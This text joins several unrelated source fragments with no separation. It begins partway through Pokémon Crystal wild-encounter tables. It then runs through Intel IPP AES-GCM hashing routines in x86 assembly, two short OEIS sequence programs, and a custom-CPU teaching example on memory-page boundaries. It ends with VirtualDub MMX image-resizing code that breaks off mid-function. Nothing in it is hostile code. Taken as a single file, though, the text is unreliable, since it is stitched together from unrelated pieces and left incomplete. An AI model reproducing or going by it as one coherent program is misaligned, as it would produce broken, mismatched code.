7, HOPPIP ; nite dbw 4, WOOPER dbw 5, RATTATA dbw 7, BELLSPROUT dbw 6, ZUBAT dbw 7, HOOTHOOT dbw 7, GASTLY dbw 7, GASTLY map_id ROUTE_33 db 10 percent, 10 percent, 10 percent ; encounter rates: morn/day/nite ; morn dbw 6, RATTATA dbw 6, SPEAROW dbw 6, GEODUDE dbw 6, HOPPIP dbw 7, EKANS dbw 7, HOPPIP dbw 7, HOPPIP ; day dbw 6, RATTATA dbw 6, SPEAROW dbw 6, GEODUDE dbw 6, HOPPIP dbw 7, EKANS dbw 7, HOPPIP dbw 7, HOPPIP ; nite dbw 6, RATTATA dbw 6, ZUBAT dbw 6, GEODUDE dbw 6, ZUBAT dbw 7, RATTATA dbw 7, RATTATA dbw 7, RATTATA map_id ROUTE_34 db 10 percent, 10 percent, 10 percent ; encounter rates: morn/day/nite ; morn dbw 10, SNUBBULL dbw 11, RATTATA dbw 12, PIDGEY dbw 10, ABRA dbw 12, JIGGLYPUFF dbw 10, DITTO dbw 10, DITTO ; day dbw 10, SNUBBULL dbw 11, RATTATA dbw 12, PIDGEY dbw 10, ABRA dbw 12, JIGGLYPUFF dbw 10, DITTO dbw 10, DITTO ; nite dbw 12, DROWZEE dbw 11, RATTATA dbw 12, HOOTHOOT dbw 10, ABRA dbw 12, JIGGLYPUFF dbw 10, DITTO dbw 10, DITTO map_id ROUTE_35 db 10 percent, 10 percent, 10 percent ; encounter rates: morn/day/nite ; morn dbw 12, SNUBBULL dbw 14, PIDGEY dbw 13, GROWLITHE dbw 10, ABRA dbw 12, JIGGLYPUFF dbw 10, DITTO dbw 12, YANMA ; day dbw 12, SNUBBULL dbw 14, PIDGEY dbw 13, GROWLITHE dbw 10, ABRA dbw 12, JIGGLYPUFF dbw 10, DITTO dbw 12, YANMA ; nite dbw 12, DROWZEE dbw 14, HOOTHOOT dbw 13, PSYDUCK dbw 10, ABRA dbw 12, JIGGLYPUFF dbw 10, DITTO dbw 12, YANMA map_id ROUTE_36 db 10 percent, 10 percent, 10 percent ; encounter rates: morn/day/nite ; morn dbw 4, LEDYBA dbw 4, PIDGEY dbw 5, BELLSPROUT dbw 5, GROWLITHE dbw 5, PIDGEY dbw 6, PIDGEY dbw 6, PIDGEY ; day dbw 4, PIDGEY dbw 4, PIDGEY dbw 5, BELLSPROUT dbw 5, GROWLITHE dbw 5, PIDGEY dbw 6, PIDGEY dbw 6, PIDGEY ; nite dbw 4, SPINARAK dbw 4, HOOTHOOT dbw 5, BELLSPROUT dbw 5, HOOTHOOT dbw 5, HOOTHOOT dbw 5, GASTLY dbw 5, GASTLY map_id ROUTE_37 db 10 percent, 10 percent, 10 percent ; encounter rates: morn/day/nite ; morn dbw 13, LEDYBA dbw 14, GROWLITHE dbw 15, PIDGEY dbw 16, GROWLITHE dbw 15, PIDGEOTTO dbw 15, LEDIAN dbw 15, LEDIAN ; day dbw 13, PIDGEY dbw 14, GROWLITHE dbw 15, PIDGEY dbw 16, GROWLITHE dbw 15, PIDGEOTTO dbw 15, PIDGEY dbw 15, PIDGEY ; nite dbw 13, SPINARAK dbw 14, STANTLER dbw 15, HOOTHOOT dbw 16, STANTLER dbw 15, NOCTOWL dbw 15, ARIADOS dbw 15, ARIADOS map_id ROUTE_38 db 10 percent, 10 percent, 10 percent ; encounter rates: morn/day/nite ; morn dbw 16, RATTATA dbw 16, RATICATE dbw 16, MAGNEMITE dbw 16, PIDGEOTTO dbw 13, TAUROS dbw 13, MILTANK dbw 13, MILTANK ; day dbw 16, RATTATA dbw 16, RATICATE dbw 16, MAGNEMITE dbw 16, PIDGEOTTO dbw 13, TAUROS dbw 13, MILTANK dbw 13, MILTANK ; nite dbw 16, MEOWTH dbw 16, RATICATE dbw 16, MAGNEMITE dbw 16, NOCTOWL dbw 16, MEOWTH dbw 16, MEOWTH dbw 16, MEOWTH map_id ROUTE_39 db 2 percent, 2 percent, 2 percent ; encounter rates: morn/day/nite ; morn dbw 16, RATTATA dbw 16, RATICATE dbw 16, MAGNEMITE dbw 16, PIDGEOTTO dbw 15, MILTANK dbw 15, TAUROS dbw 15, TAUROS ; day dbw 16, RATTATA dbw 16, RATICATE dbw 16, MAGNEMITE dbw 16, PIDGEOTTO dbw 15, MILTANK dbw 15, TAUROS dbw 15, TAUROS ; nite dbw 16, MEOWTH dbw 16, RATICATE dbw 16, MAGNEMITE dbw 16, NOCTOWL dbw 18, MEOWTH dbw 18, MEOWTH dbw 18, MEOWTH map_id ROUTE_42 db 10 percent, 10 percent, 10 percent ; encounter rates: morn/day/nite ; morn dbw 13, EKANS dbw 14, SPEAROW dbw 15, RATTATA dbw 16, RATICATE dbw 15, ARBOK dbw 16, FEAROW dbw 16, FEAROW ; day dbw 13, EKANS dbw 14, SPEAROW dbw 15, RATTATA dbw 16, RATICATE dbw 15, ARBOK dbw 16, FEAROW dbw 16, FEAROW ; nite dbw 13, RATTATA dbw 14, ZUBAT dbw 15, RATICATE dbw 16, GOLBAT dbw 15, MARILL dbw 16, GOLBAT dbw 16, GOLBAT map_id ROUTE_43 db 10 percent, 10 percent, 10 percent ; encounter rates: morn/day/nite ; morn dbw 15, SENTRET dbw 16, PIDGEOTTO dbw 16, FARFETCH_D dbw 15, FURRET dbw 17, RATICATE dbw 17, FURRET dbw 17, FURRET ; day dbw 15, SENTRET dbw 16, PIDGEOTTO dbw 16, FARFETCH_D dbw 15, FURRET dbw 17, RATICATE dbw 17, FURRET dbw 17, FURRET ; nite dbw 15, VENONAT dbw 16, NOCTOWL dbw 16, RATICATE dbw 17, VENONAT dbw 17, RATICATE dbw 17, VENOMOTH dbw 17, VENOMOTH map_id ROUTE_44 db 10 percent, 10 percent, 10 percent ; encounter rates: morn/day/nite ; morn dbw 23, TANGELA dbw 22, LICKITUNG dbw 22, BELLSPROUT dbw 24, WEEPINBELL dbw 24, LICKITUNG dbw 26, LICKITUNG dbw 26, LICKITUNG ; day dbw 23, TANGELA dbw 22, LICKITUNG dbw 22, BELLSPROUT dbw 24, WEEPINBELL dbw 24, LICKITUNG dbw 26, LICKITUNG dbw 26, LICKITUNG ; nite dbw 23, TANGELA dbw 22, POLIWAG dbw 22, BELLSPROUT dbw 24, WEEPINBELL dbw 24, POLIWHIRL dbw 26, POLIWHIRL dbw 26, POLIWHIRL map_id ROUTE_45 db 10 percent, 10 percent, 10 percent ; encounter rates: morn/day/nite ; morn dbw 23, GEODUDE dbw 23, GRAVELER dbw 24, GLIGAR dbw 25, DONPHAN dbw 20, PHANPY dbw 27, SKARMORY dbw 27, SKARMORY ; day dbw 23, GEODUDE dbw 23, GRAVELER dbw 24, GLIGAR dbw 25, DONPHAN dbw 30, DONPHAN dbw 27, SKARMORY dbw 27, SKARMORY ; nite dbw 23, GEODUDE dbw 23, GRAVELER dbw 24, GLIGAR dbw 25, GRAVELER dbw 27, GRAVELER dbw 27, GRAVELER dbw 27, GRAVELER map_id ROUTE_46 db 10 percent, 10 percent, 10 percent ; encounter rates: morn/day/nite ; morn dbw 2, GEODUDE dbw 2, SPEAROW dbw 3, GEODUDE dbw 3, RATTATA dbw 2, PHANPY dbw 2, RATTATA dbw 2, RATTATA ; day dbw 2, GEODUDE dbw 2, SPEAROW dbw 3, GEODUDE dbw 3, RATTATA dbw 2, RATTATA dbw 2, RATTATA dbw 2, RATTATA ; nite dbw 2, GEODUDE dbw 2, RATTATA dbw 3, GEODUDE dbw 3, RATTATA dbw 2, RATTATA dbw 2, RATTATA dbw 2, RATTATA map_id SILVER_CAVE_OUTSIDE db 10 percent, 10 percent, 10 percent ; encounter rates: morn/day/nite ; morn dbw 41, TANGELA dbw 42, PONYTA dbw 42, ARBOK dbw 44, RAPIDASH dbw 41, DODUO dbw 43, DODRIO dbw 43, DODRIO ; day dbw 41, TANGELA dbw 42, PONYTA dbw 42, ARBOK dbw 44, RAPIDASH dbw 41, DODUO dbw 43, DODRIO dbw 43, DODRIO ; nite dbw 41, TANGELA dbw 42, POLIWHIRL dbw 42, GOLBAT dbw 44, POLIWHIRL dbw 40, GOLBAT dbw 44, GOLBAT dbw 44, GOLBAT db -1 ; end
############################################################################### # Copyright 2019 Intel Corporation # All Rights Reserved. # # If this software was obtained under the Intel Simplified Software License, # the following terms apply: # # The source code, information and material ("Material") contained herein is # owned by Intel Corporation or its suppliers or licensors, and title to such # Material remains with Intel Corporation or its suppliers or licensors. The # Material contains proprietary information of Intel or its suppliers and # licensors. The Material is protected by worldwide copyright laws and treaty # provisions. No part of the Material may be used, copied, reproduced, # modified, published, uploaded, posted, transmitted, distributed or disclosed # in any way without Intel's prior express written permission. No license under # any patent, copyright or other intellectual property rights in the Material # is granted to or conferred upon you, either expressly, by implication, # inducement, estoppel or otherwise. Any license under such intellectual # property rights must be express and approved by Intel in writing. # # Unless otherwise agreed by Intel in writing, you may not remove or alter this # notice or any other notice embedded in Materials by Intel or Intel's # suppliers or licensors in any way. # # # If this software was obtained under the Apache License, Version 2.0 (the # "License"), the following terms apply: # # You may not use this file except in compliance with the License. You may # obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 # # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # # See the License for the specific language governing permissions and # limitations under the License. ############################################################################### .section .note.GNU-stack,"",%progbits .text .p2align 5, 0x90 _CONST_DATA: _INIT_IDX: .word 0x0, 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7 _INCR_IDX: .word 0x8, 0x8, 0x8, 0x8, 0x8, 0x8, 0x8, 0x8 .p2align 5, 0x90 .type h9_getAesGcmConst_table_ct, @function h9_getAesGcmConst_table_ct: push %ebx call .L__0000gas_1 .L__0000gas_1: pop %ebx sub $(.L__0000gas_1-_CONST_DATA), %ebx pxor %xmm2, %xmm2 mov %ecx, %eax shl $(16), %ecx or %eax, %ecx movd %ecx, %xmm3 pshufd $(0), %xmm3, %xmm3 movdqa ((_INIT_IDX-_CONST_DATA))(%ebx), %xmm6 xor %eax, %eax .p2align 5, 0x90 .Lsearch_loopgas_1: movdqa %xmm6, %xmm7 paddw ((_INCR_IDX-_CONST_DATA))(%ebx), %xmm6 pcmpeqw %xmm3, %xmm7 pand (%edx,%eax,2), %xmm7 add $(8), %eax cmp $(256), %eax por %xmm7, %xmm2 jl .Lsearch_loopgas_1 movdqa %xmm2, %xmm3 psrldq $(8), %xmm2 por %xmm3, %xmm2 movdqa %xmm2, %xmm3 psrldq $(4), %xmm2 por %xmm3, %xmm2 movd %xmm2, %eax pop %ebx and $(3), %ecx shl $(4), %ecx shr %cl, %eax ret .Lfe1: .size h9_getAesGcmConst_table_ct, .Lfe1-(h9_getAesGcmConst_table_ct) .p2align 5, 0x90 .globl h9_AesGcmMulGcm_table2K .type h9_AesGcmMulGcm_table2K, @function h9_AesGcmMulGcm_table2K: push %ebp mov %esp, %ebp push %ebx push %esi push %edi movl (8)(%ebp), %edi movdqu (%edi), %xmm0 movl (12)(%ebp), %esi movl (16)(%ebp), %edx movd %xmm0, %ebx mov $(4042322160), %eax and %ebx, %eax shl $(4), %ebx and $(4042322160), %ebx movzbl %ah, %ecx movdqa (1024)(%esi,%ecx), %xmm5 movzbl %al, %ecx movdqa (1024)(%esi,%ecx), %xmm4 shr $(16), %eax movzbl %ah, %ecx movdqa (1024)(%esi,%ecx), %xmm3 movzbl %al, %ecx movdqa (1024)(%esi,%ecx), %xmm2 psrldq $(4), %xmm0 movd %xmm0, %eax and $(4042322160), %eax movzbl %bh, %ecx pxor (%esi,%ecx), %xmm5 movzbl %bl, %ecx pxor (%esi,%ecx), %xmm4 shr $(16), %ebx movzbl %bh, %ecx pxor (%esi,%ecx), %xmm3 movzbl %bl, %ecx pxor (%esi,%ecx), %xmm2 movd %xmm0, %ebx shl $(4), %ebx and $(4042322160), %ebx movzbl %ah, %ecx pxor (1280)(%esi,%ecx), %xmm5 movzbl %al, %ecx pxor (1280)(%esi,%ecx), %xmm4 shr $(16), %eax movzbl %ah, %ecx pxor (1280)(%esi,%ecx), %xmm3 movzbl %al, %ecx pxor (1280)(%esi,%ecx), %xmm2 psrldq $(4), %xmm0 movd %xmm0, %eax and $(4042322160), %eax movzbl %bh, %ecx pxor (256)(%esi,%ecx), %xmm5 movzbl %bl, %ecx pxor (256)(%esi,%ecx), %xmm4 shr $(16), %ebx movzbl %bh, %ecx pxor (256)(%esi,%ecx), %xmm3 movzbl %bl, %ecx pxor (256)(%esi,%ecx), %xmm2 movd %xmm0, %ebx shl $(4), %ebx and $(4042322160), %ebx movzbl %ah, %ecx pxor (1536)(%esi,%ecx), %xmm5 movzbl %al, %ecx pxor (1536)(%esi,%ecx), %xmm4 shr $(16), %eax movzbl %ah, %ecx pxor (1536)(%esi,%ecx), %xmm3 movzbl %al, %ecx pxor (1536)(%esi,%ecx), %xmm2 psrldq $(4), %xmm0 movd %xmm0, %eax and $(4042322160), %eax movzbl %bh, %ecx pxor (512)(%esi,%ecx), %xmm5 movzbl %bl, %ecx pxor (512)(%esi,%ecx), %xmm4 shr $(16), %ebx movzbl %bh, %ecx pxor (512)(%esi,%ecx), %xmm3 movzbl %bl, %ecx pxor (512)(%esi,%ecx), %xmm2 movd %xmm0, %ebx shl $(4), %ebx and $(4042322160), %ebx movzbl %ah, %ecx pxor (1792)(%esi,%ecx), %xmm5 movzbl %al, %ecx pxor (1792)(%esi,%ecx), %xmm4 shr $(16), %eax movzbl %ah, %ecx pxor (1792)(%esi,%ecx), %xmm3 movzbl %al, %ecx pxor (1792)(%esi,%ecx), %xmm2 movzbl %bh, %ecx pxor (768)(%esi,%ecx), %xmm5 movzbl %bl, %ecx pxor (768)(%esi,%ecx), %xmm4 shr $(16), %ebx movzbl %bh, %ecx pxor (768)(%esi,%ecx), %xmm3 movzbl %bl, %ecx pxor (768)(%esi,%ecx), %xmm2 movdqa %xmm3, %xmm0 pslldq $(1), %xmm3 pxor %xmm3, %xmm2 movdqa %xmm2, %xmm1 pslldq $(1), %xmm2 pxor %xmm2, %xmm5 psrldq $(15), %xmm0 movd %xmm0, %ecx call h9_getAesGcmConst_table_ct shl $(8), %eax movdqa %xmm5, %xmm0 pslldq $(1), %xmm5 pxor %xmm5, %xmm4 psrldq $(15), %xmm1 movd %xmm1, %ecx mov %eax, %ebx call h9_getAesGcmConst_table_ct xor %ebx, %eax shl $(8), %eax psrldq $(15), %xmm0 movd %xmm0, %ecx mov %eax, %ebx call h9_getAesGcmConst_table_ct xor %ebx, %eax movd %eax, %xmm0 pxor %xmm4, %xmm0 movdqu %xmm0, (%edi) pop %edi pop %esi pop %ebx pop %ebp ret .Lfe2: .size h9_AesGcmMulGcm_table2K, .Lfe2-(h9_AesGcmMulGcm_table2K) .p2align 5, 0x90 .globl h9_AesGcmAuth_table2K .type h9_AesGcmAuth_table2K, @function h9_AesGcmAuth_table2K: push %ebp mov %esp, %ebp push %ebx push %esi push %edi movl (8)(%ebp), %edi movdqu (%edi), %xmm0 movl (20)(%ebp), %esi movl (12)(%ebp), %edi movl (24)(%ebp), %edx .p2align 5, 0x90 .Lauth_loopgas_3: movdqu (%edi), %xmm4 pxor %xmm4, %xmm0 movd %xmm0, %ebx mov $(4042322160), %eax and %ebx, %eax shl $(4), %ebx and $(4042322160), %ebx movzbl %ah, %ecx movdqa (1024)(%esi,%ecx), %xmm5 movzbl %al, %ecx movdqa (1024)(%esi,%ecx), %xmm4 shr $(16), %eax movzbl %ah, %ecx movdqa (1024)(%esi,%ecx), %xmm3 movzbl %al, %ecx movdqa (1024)(%esi,%ecx), %xmm2 psrldq $(4), %xmm0 movd %xmm0, %eax and $(4042322160), %eax movzbl %bh, %ecx pxor (%esi,%ecx), %xmm5 movzbl %bl, %ecx pxor (%esi,%ecx), %xmm4 shr $(16), %ebx movzbl %bh, %ecx pxor (%esi,%ecx), %xmm3 movzbl %bl, %ecx pxor (%esi,%ecx), %xmm2 movd %xmm0, %ebx shl $(4), %ebx and $(4042322160), %ebx movzbl %ah, %ecx pxor (1280)(%esi,%ecx), %xmm5 movzbl %al, %ecx pxor (1280)(%esi,%ecx), %xmm4 shr $(16), %eax movzbl %ah, %ecx pxor (1280)(%esi,%ecx), %xmm3 movzbl %al, %ecx pxor (1280)(%esi,%ecx), %xmm2 psrldq $(4), %xmm0 movd %xmm0, %eax and $(4042322160), %eax movzbl %bh, %ecx pxor (256)(%esi,%ecx), %xmm5 movzbl %bl, %ecx pxor (256)(%esi,%ecx), %xmm4 shr $(16), %ebx movzbl %bh, %ecx pxor (256)(%esi,%ecx), %xmm3 movzbl %bl, %ecx pxor (256)(%esi,%ecx), %xmm2 movd %xmm0, %ebx shl $(4), %ebx and $(4042322160), %ebx movzbl %ah, %ecx pxor (1536)(%esi,%ecx), %xmm5 movzbl %al, %ecx pxor (1536)(%esi,%ecx), %xmm4 shr $(16), %eax movzbl %ah, %ecx pxor (1536)(%esi,%ecx), %xmm3 movzbl %al, %ecx pxor (1536)(%esi,%ecx), %xmm2 psrldq $(4), %xmm0 movd %xmm0, %eax and $(4042322160), %eax movzbl %bh, %ecx pxor (512)(%esi,%ecx), %xmm5 movzbl %bl, %ecx pxor (512)(%esi,%ecx), %xmm4 shr $(16), %ebx movzbl %bh, %ecx pxor (512)(%esi,%ecx), %xmm3 movzbl %bl, %ecx pxor (512)(%esi,%ecx), %xmm2 movd %xmm0, %ebx shl $(4), %ebx and $(4042322160), %ebx movzbl %ah, %ecx pxor (1792)(%esi,%ecx), %xmm5 movzbl %al, %ecx pxor (1792)(%esi,%ecx), %xmm4 shr $(16), %eax movzbl %ah, %ecx pxor (1792)(%esi,%ecx), %xmm3 movzbl %al, %ecx pxor (1792)(%esi,%ecx), %xmm2 movzbl %bh, %ecx pxor (768)(%esi,%ecx), %xmm5 movzbl %bl, %ecx pxor (768)(%esi,%ecx), %xmm4 shr $(16), %ebx movzbl %bh, %ecx pxor (768)(%esi,%ecx), %xmm3 movzbl %bl, %ecx pxor (768)(%esi,%ecx), %xmm2 movdqa %xmm3, %xmm0 pslldq $(1), %xmm3 pxor %xmm3, %xmm2 movdqa %xmm2, %xmm1 pslldq $(1), %xmm2 pxor %xmm2, %xmm5 psrldq $(15), %xmm0 movd %xmm0, %ecx call h9_getAesGcmConst_table_ct shl $(8), %eax movdqa %xmm5, %xmm0 pslldq $(1), %xmm5 pxor %xmm5, %xmm4 psrldq $(15), %xmm1 movd %xmm1, %ecx mov %eax, %ebx call h9_getAesGcmConst_table_ct xor %ebx, %eax shl $(8), %eax psrldq $(15), %xmm0 movd %xmm0, %ecx mov %eax, %ebx call h9_getAesGcmConst_table_ct xor %ebx, %eax movd %eax, %xmm0 pxor %xmm4, %xmm0 add $(16), %edi subl $(16), (16)(%ebp) jnz .Lauth_loopgas_3 movl (8)(%ebp), %edi movdqu %xmm0, (%edi) pop %edi pop %esi pop %ebx pop %ebp ret .Lfe3: .size h9_AesGcmAuth_table2K, .Lfe3-(h9_AesGcmAuth_table2K)
; A014934: a(1)=1, a(n)=n*17^(n-1)+a(n-1). ; 1,35,902,20554,438159,8957301,177920284,3460629668,66242446637,1252121211607,23428054116546,434690809808142,8008779893795035,146672872354478153,2672340270745492088,48471109094902544776,875711370981239308953,15766036084935301064139,282964640674222075893310,5064413354377248572836370,90413272893976271543269991,1610435818980168394921468765,28625381978966582951324910612,507847035599595154212742487724,8994063818464892770300345415749,159030376539523354622729165183231,2807748358807440046555991791078394 add $0,1 lpb $0 add $2,$0 sub $0,1 mul $2,17 mov $1,$2 lpe div $1,17 mov $0,$1
; Accessing variables, index and stack across page boundaries .define SPPS 0x0002 ; Location of the stack pointer page select memory mapped register .reset Start .origin 0x0100 .byte myVar 1 Start: CLR PAGE LD X, #0xFE LD A, #0xAA ST A, X, 0 ; 0x00FE <- 0xAA INC X ST A, X, 0 ; 0x00FF <- 0xAA INC X ; Notice X wrapped around to 0, PAGE register does not automatically increment ST A, X, 0 ; 0x0000 <- 0xAA instead of 0x0100. Need to add a BCS and INC PAGE instructions ; to correctly identify an X wrap and increment the PAGE register LD X, #0xFE LD A, #0xBB ST A, X, 0 ; 0x00FE <- 0xBB ST A, X, 1 ; 0x00FF <- 0xBB ST A, X, 2 ; 0x0100 <- 0xBB Notice that in indirect addressing mode with an X offset ; the offset across a page boundary is correctly handled ; Stack pointer CLR E ST B, SPPS ; set stack pointer page to 0 LD SP, #0xFF ; TODO ... same as with X, need to manually change the SPPS value in RAM ; but using an offset like works across page boundaries ST A, SP, 2 ; Direct addressing: If a variable is in another page LD PAGE, &myVar >> 8 ; Change page based on high byte of myVar's address LD A, myVar ; then can load myVar in to register ; Try keep all variables in a single page, like page 0, the stack in another page, and the code in yet another page ; Try not to cross page boundaries STOP
; A326663: Column 3 of the array at A309157; see Comments. ; 5,12,20,26,33,41,47,54,61,68,75,83,89,96,104,110,117,124,131,138,146,152,159,167,173,180,188,194,201,209,215,222,230,236,243,250,257,264,272,278,285,293,299,306,313,320,327,335,341,348,356,362,369,377,383,390,398,404,411,419,425,432,439,446,453,461,467,474,482,488,495,502,509,516,524,530,537,545,551,558,565,572,579,587,593,600,608,614,621,628,635,642,650,656,663,671,677,684,691,698 mov $3,$0 add $0,1 mov $4,1 lpb $0 dif $0,3 mul $4,3 lpe mov $0,$4 lpb $0 sub $0,8 lpe trn $0,2 add $0,5 mov $2,$3 mul $2,7 add $0,$2
; VirtualDub - Video processing and capture application ; Graphics support library ; Copyright (C) 1998-2004 Avery Lee ; ; This program is free software; you can redistribute it and/or modify ; it under the terms of the GNU General Public License as published by ; the Free Software Foundation; either version 2 of the License, or ; (at your option) any later version. ; ; This program is distributed in the hope that it will be useful, ; but WITHOUT ANY WARRANTY; without even the implied warranty of ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ; GNU General Public License for more details. ; ; You should have received a copy of the GNU General Public License ; along with this program; if not, write to the Free Software ; Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. ; section .rdata, rdata, align=16 x0002000200020002 dq 0002000200020002h x0004000400040004 dq 0004000400040004h x0008000800080008 dq 0008000800080008h x0000200000002000 dq 0000200000002000h align 16 MMX_roundval dq 0000200000002000h, 0000200000002000h ;************************************************************************** x0000FFFF0000FFFF dq 0000FFFF0000FFFFh x0000010100000101 dq 0000010100000101h x0100010001000100 dq 0100010001000100h section .text ;-------------------------------------------------------------------------- ;_vdasm_resize_interp_row_run_MMX( ; [esp+ 4] void *dst, ; [esp+ 8] void *src, ; [esp+12] ulong width, ; [esp+16] __int64 xaccum, ; [esp+24] __int64 x_inc); ; global _vdasm_resize_interp_row_run_MMX _vdasm_resize_interp_row_run_MMX: push ebp push edi push esi push ebx mov esi, [esp+8+16] mov edi, [esp+4+16] mov ebp, [esp+12+16] movd mm4, dword [esp+16+16] pxor mm7, mm7 movd mm6, dword [esp+24+16] punpckldq mm4, mm4 punpckldq mm6, mm6 shr esi, 2 mov eax, [esp+16+16] mov ebx, [esp+20+16] add esi, ebx mov ebx, [esp+24+16] mov ecx, [esp+28+16] shl ebp,2 add edi,ebp neg ebp .colloop: movd mm1, dword [esi*4+4] movq mm5, mm4 movd mm0, dword [esi*4] punpcklbw mm1, mm7 punpcklbw mm0, mm7 psrld mm5, 24 movq mm3, [x0100010001000100] packssdw mm5, mm5 pmullw mm1, mm5 psubw mm3, mm5 pmullw mm0, mm3 paddd mm4, mm6 ;stall ;stall ;stall ;stall paddw mm0, mm1 psrlw mm0, 8 add eax, ebx adc esi, ecx packuswb mm0, mm0 movd dword [edi+ebp],mm0 add ebp, 4 jnz .colloop pop ebx pop esi pop edi pop ebp ret ;************************************************************************** ;vdasm_resize_interp_col_run_MMX( ; [esp+ 4] void *dst, ; [esp+ 8] void *src1, ; [esp+12] void *src2, ; [esp+16] ulong width, ; [esp+20] ulong yaccum); global _vdasm_resize_interp_col_run_MMX _vdasm_resize_interp_col_run_MMX: push ebp push edi push esi push ebx mov esi, [esp+8+16] mov edx, [esp+12+16] mov edi, [esp+4+16] mov ebp, [esp+16+16] movd mm4, dword [esp+20+16] pxor mm7, mm7 punpcklwd mm4, mm4 punpckldq mm4, mm4 psrlw mm4, 8 pxor mm4, [x0000FFFF0000FFFF] paddw mm4, [x0000010100000101] shl ebp, 2 add edi, ebp add esi, ebp add edx, ebp neg ebp .colloop: movd mm0, dword [esi+ebp] movd mm2, dword [edx+ebp] punpcklbw mm0, mm7 punpcklbw mm2, mm7 movq mm1, mm0 punpcklwd mm0, mm2 punpckhwd mm1, mm2 pmaddwd mm0, mm4 pmaddwd mm1, mm4 psrad mm0, 8 psrad mm1, 8 packssdw mm0, mm1 packuswb mm0, mm0 movd dword [edi+ebp],mm0 add ebp, 4 jnz .colloop pop ebx pop esi pop edi pop ebp ret ;-------------------------------------------------------------------------- ;vdasm_resize_ccint_row_MMX(dst, src, count, xaccum, xinc, tbl); global _vdasm_resize_ccint_row_MMX _vdasm_resize_ccint_row_MMX: push ebx push esi push edi push ebp mov ebx, [esp+4+16] ;ebx = dest addr mov ecx, [esp+12+16] ;ecx = count mov ebp, [esp+20+16] ;ebp = increment mov edi, ebp ;edi = increment shl ebp, 16 ;ebp = fractional increment mov esi, [esp+16+16] ;esi = 16:16 position sar edi, 16 ;edi = integer increment mov [esp+20+16], ebp ;xinc = fractional increment mov ebp, esi ;ebp = 16:16 position shr esi, 16 ;esi = integer position shl ebp, 16 ;ebp = fraction mov [esp+16+16], ebp ;xaccum = fraction mov eax, [esp+8+16] shr ebp, 24 ;ebp = fraction (0...255) mov [esp+8+16], edi shl ebp, 4 ;ebp = fraction*16 mov edi, ebp mov ebp, [esp+4+16] ;ebp = destination shr eax, 2 add eax, esi shl ecx, 2 ;ecx = count*4 lea ebp, [ebp+ecx-4] neg ecx ;ecx = -count*4 movq mm6, [x0000200000002000] pxor mm7, mm7 mov edx,[esp+16+16] ;edx = fractional accumulator mov esi,[esp+20+16] ;esi = fractional increment mov ebx,[esp+24+16] ;ebx = coefficient pointer movd mm0,dword [eax*4] movd mm1,dword [eax*4+4] punpcklbw mm0,mm7 ;mm0 = [a1][r1][g1][b1] ;borrow stack pointer push 0 ;don't crash push dword [fs:0] mov dword [fs:0], esp mov esp, [esp+8+24] ;esp = integer increment jmp short ccint_loop_MMX_start ;EAX source pointer / 4 ;EBX coefficient pointer ;ECX count ;EDX fractional accumulator ;ESI fractional increment ;EDI coefficient offset ;ESP integer increment ;EBP destination pointer align 16 ccint_loop_MMX: movd mm0,dword [eax*4] packuswb mm2,mm2 ;mm0 = [a][r][g][b][a][r][g][b] movd mm1,dword [eax*4+4] punpcklbw mm0,mm7 ;mm0 = [a1][r1][g1][b1] movd dword [ebp+ecx],mm2 ccint_loop_MMX_start: movq mm4,mm0 ;mm0 = [a1][r1][g1][b1] movd mm2,dword [eax*4+8] punpcklbw mm1,mm7 ;mm1 = [a2][r2][g2][b2] movd mm3,dword [eax*4+12] punpcklbw mm2,mm7 ;mm2 = [a3][r3][g3][b3] punpcklbw mm3,mm7 ;mm3 = [a4][r4][g4][b4] movq mm5,mm2 ;mm2 = [a3][r3][g3][b3] add edx,esi ;add fractional increment punpcklwd mm0,mm1 ;mm0 = [g2][g1][b2][b1] pmaddwd mm0,[ebx+edi] punpcklwd mm2,mm3 ;mm2 = [g4][g3][b4][b3] pmaddwd mm2,[ebx+edi+8] punpckhwd mm4,mm1 ;mm4 = [a2][a1][r2][r1] pmaddwd mm4,[ebx+edi] punpckhwd mm5,mm3 ;mm5 = [a4][a3][b4][b3] pmaddwd mm5,[ebx+edi+8] paddd mm0,mm6 adc eax,esp ;add integer increment and fractional bump to offset mov edi,0ff000000h paddd mm2,mm0 ;mm0 = [ g ][ b ] paddd mm4,mm6 psrad mm2,14 paddd mm4,mm5 ;mm4 = [ a ][ r ] and edi,edx psrad mm4,14 shr edi,20 ;edi = fraction (0...255)*16 add ecx,4 packssdw mm2,mm4 ;mm0 = [ a ][ r ][ g ][ b ] jnc ccint_loop_MMX packuswb mm2,mm2 ;mm0 = [a][r][g][b][a][r][g][b] movd dword [ebp],mm2 mov esp, dword [fs:0] pop dword [fs:0] pop eax pop ebp pop edi pop esi pop ebx ret ;-------------------------------------------------------------------------- ;vdasm_resize_ccint_col_MMX(dst, src1, src2, src3, src4, count, tbl); global _vdasm_resize_ccint_col_MMX _vdasm_resize_ccint_col_MMX: push ebx push esi push edi push ebp mov ebp, [esp+4+16] ;ebp = dest addr mov esi, [esp+24+16] ;esi = count add esi, esi add esi, esi mov eax, [esp+8+16] ;eax = row 1 mov ebx, [esp+12+16] ;ebx = row 2 mov ecx, [esp+16+16] ;ecx = row 3 mov edx, [esp+20+16] ;edx = row 4 mov edi, [esp+28+16] ;edi = coefficient ptr add eax, esi add ebx, esi add ecx, esi add edx, esi add ebp, esi neg esi movq mm4,[edi] movq mm5,[edi+8] movq mm6,[x0000200000002000] pxor mm7,mm7 movd mm2,dword [eax+esi] movd mm1,dword [ebx+esi] ;mm1 = pixel1 punpcklbw mm2,mm7 jmp short ccint_col_loop_MMX.entry align 16 ccint_col_loop_MMX: movd mm2,dword [eax+esi] ;mm2 = pixel0 packuswb mm0,mm0 movd mm1,dword [ebx+esi] ;mm1 = pixel1 pxor mm7,mm7 movd dword [ebp+esi-4],mm0 punpcklbw mm2,mm7 ccint_col_loop_MMX.entry: punpcklbw mm1,mm7 movq mm0,mm2 movd mm3,dword [edx+esi] ;mm3 = pixel3 punpcklwd mm0,mm1 ;mm0 = [g1][g0][b1][b0] pmaddwd mm0,mm4 punpckhwd mm2,mm1 ;mm2 = [a1][a0][r1][r0] movd mm1,dword [ecx+esi] ;mm1 = pixel2 punpcklbw mm3,mm7 pmaddwd mm2,mm4 punpcklbw mm1,mm7 